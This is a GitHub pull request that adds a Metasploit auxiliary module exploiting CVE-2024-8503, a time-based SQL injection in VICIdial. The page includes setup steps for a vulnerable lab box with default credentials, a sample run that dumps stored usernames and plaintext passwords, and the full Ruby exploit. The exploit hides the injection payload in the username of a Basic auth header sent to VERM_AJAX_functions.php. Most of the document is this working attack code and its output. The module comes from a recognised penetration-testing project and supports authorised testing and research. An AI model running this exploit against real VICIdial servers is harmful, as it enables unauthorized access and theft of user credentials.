Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add VICIdial Time-based SQL Injection Module (CVE-2024-8503) #19453

Merged
merged 5 commits into from
Sep 25, 2024
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,73 @@
## Vulnerable Application

This module exploits a single authenticated SQL Injection vulnerability in VICIdial, affecting version 2.14-917a.

VICIdial does not encrypt passwords by default.

VICIBox/VICIdial includes an auto-update mechanism, so be aware for creating vulnerable boxes.

### Install

#### 9.0.3 & 10.0.0

1. Install the following OpenSUSE 10 ISO
- [ViciBox_v9.x86_64-9.0.3.iso](http://download.vicidial.com/iso/vicibox/server/ViciBox_v9.x86_64-9.0.3.iso)
or
- [ViciBox_v10.x86_64-10.0.0.iso](http://download.vicidial.com/iso/vicibox/server/archive/ViciBox_v10.x86_64-10.0.0.iso) :
1. Change the default password (`root`:`vicidial`)
2. Set Timezone, Keyboard Layout, ok the license, and Language
3. Network settings should autoconfigure (Tested on VMware Fusion). Network settings can be configured with the
command `yast lan` if necessary
2. Run `vicibox-express` to initiate the ViciDial Express Installation, everything can be kept as default
3. Navigate to `http://<ip-address>/`
1. Click `Administration` and login with default credentials username: `6666`, password: `1234`
2. Once logged in, Click `Continue on to the Initial Setup`. Everything can be kept as default.
4. The complete list of setup instructions can be found by following this
[link](http://download.vicidial.com/iso/vicibox/server/ViciBox_v9-install.pdf)


## Verification Steps

1. Start msfconsole
1. Do: `use auxiliary/scanner/http/vicidial_sql_enum_users_pass`
1. Do: `set RHOSTS <ip>`
1. Do: `set RPORT <port>`
1. Do: `set TARGETURI <path>`
1. Do: `set COUNT <number>`
1. Do: `set SqliDelay <number>`
1. Do: `run`
1. The module will exploit the SQL injection and return the extracted usernames and passwords

## Options

### COUNT

Number of records to dump. Defaults to 1.

### SqliDelay

Delay in seconds for SQL Injection sleep. Defaults to 1.

## Scenarios

### ViciBox 9.0.3

```
msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > run https://192.168.1.100
[*] Running module against 192.168.1.100

[*] Checking if target is vulnerable...
[+] Target is vulnerable to SQL injection.
[*] {SQLi} Executing (select group_concat(aR) from (select cast(concat_ws(';',ifnull(User,''),ifnull(Pass,'')) as binary) aR from vicidial_users limit 1) juBM)
[*] {SQLi} Encoded to (select group_concat(aR) from (select cast(concat_ws(0x3b,ifnull(User,repeat(0x5b,0)),ifnull(Pass,repeat(0x7d,0))) as binary) aR from vicidial_users limit 1) juBM)
[*] {SQLi} Time-based injection: expecting output of length 16
[+] Dumped table contents:
vicidial_users
==============

User Pass
---- ----
6666 aLLah4465

[*] Auxiliary module execution completed
```
101 changes: 101 additions & 0 deletions modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,101 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Vicidial SQL Injection Time-based Admin Credentials Enumeration',
'Description' => %q{
This module exploits a time-based SQL injection vulnerability in VICIdial, allowing attackers
to dump admin credentials (usernames and passwords) via SQL injection.
},
'Author' => [
'Valentin Lobstein', # Metasploit Module
'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt'],
['CVE', '2024-8503']
],
'DisclosureDate' => '2024-09-10',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)

register_options(
[
Opt::RHOST(),
Opt::RPORT(80),
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
OptString.new('TARGETURI', [true, 'Base path of the VICIdial instance', '/']),
OptInt.new('SqliDelay', [true, 'Delay in seconds for SQL Injection sleep', 1]),
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
OptInt.new('COUNT', [true, 'Number of records to dump', 1])
]
)
end

def run
print_status('Checking if target is vulnerable...')

setup_sqli
return print_error('Target is not vulnerable.') unless @sqli.test_vulnerable

print_good('Target is vulnerable to SQL injection.')

columns = ['User', 'Pass']
data = @sqli.dump_table_fields('vicidial_users', columns, '', datastore['COUNT'])

table = Rex::Text::Table.new('Header' => 'vicidial_users', 'Indent' => 4, 'Columns' => columns)
data.each do |user|
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user[0],
private_type: :password,
private_data: user[1],
service_name: 'VICIdial',
address: datastore['RHOSTS'],
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << user
end
print_good('Dumped table contents:')
print_line(table.to_s)
end

def setup_sqli
@sqli = create_sqli(
dbms: MySQLi::TimeBasedBlind,
opts: { hex_encode_strings: true }
) do |payload|
random_username = Rex::Text.rand_text_alphanumeric(6, 8)
random_password = Rex::Text.rand_text_alphanumeric(6, 8)

username = "#{random_username}', '', (#{payload}));# "
credentials = "#{username}:#{random_password}"
credentials_base64 = Rex::Text.encode_base64(credentials)

send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'VERM', 'VERM_AJAX_functions.php'),
'vars_get' => { 'function' => 'log_custom_report' },
'headers' => {
'Authorization' => "Basic #{credentials_base64}"
}
})
end
end
end